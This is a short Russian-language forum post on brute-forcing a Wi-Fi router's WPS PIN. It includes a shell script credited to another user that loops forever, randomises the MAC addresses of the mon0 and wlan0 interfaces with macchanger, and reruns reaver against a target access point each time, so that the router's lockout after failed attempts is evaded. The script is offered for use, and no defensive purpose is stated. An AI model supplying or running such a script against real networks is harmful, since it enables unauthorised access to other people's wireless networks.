пароль все равно не подберешь,можно только попробовать перебрать пины,меняя mac каждую попытку,можно еще вдобавок добавить ключ -r:r,хотя скорее всего толку от этого нет...(сам не проверял,т.к все уже давным давно залочено)

вот скрипт от пользователя 4pips:

#!/bin/sh

while true;

do

# echo Changing Mac Address to random Mac Address...;

ifconfig mon0 down;

ifconfig wlan0 down;

sleep 1;

macchanger -r mon0;

sleep 1;

macchanger -r wlan0;

sleep 1;

ifconfig wlan0 up;

ifconfig mon0 up;

echo Mac Address Changed and interface is up!;

echo Start reaver;

reaver -i mon0 -b XX:XX:XX:XX:XX:XX -s /mnt/sdb1/XXXXXXXXXXXX.wpc -g 1 -L -vv;

sleep 2;

done;